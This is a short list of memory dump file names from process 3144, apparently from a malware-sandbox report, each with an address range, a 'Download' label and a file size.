Download
memory/3144-39-0x0000000005C30000-0x0000000005F84000-memory.dmp

Filesize
3.3MB

Download
memory/3144-33-0x0000000005BC0000-0x0000000005C26000-memory.dmp

Filesize
408KB

Download
memory/3144-32-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Filesize
408KB

Download
memory/3144-30-0x0000000005420000-0x0000000005A48000-memory.dmp

Filesize
6.2MB

Download
memory/3144-29-0x0000000002A70000-0x0000000002A80000-memory.dmp

Filesize
64KB

Download
memory/3144-28-0x00000000028F0000-0x0000000002926000-memory.dmp

Filesize
216KB

Download
memory/3144-27-0x0000000002A70000-0x0000000002A80000-memory.dmp

Filesize
64KB

Download
memory/3144-26-0x0000000071ED0000-0x0000000072680000-memory.dmp

Filesize
7.7MB

Download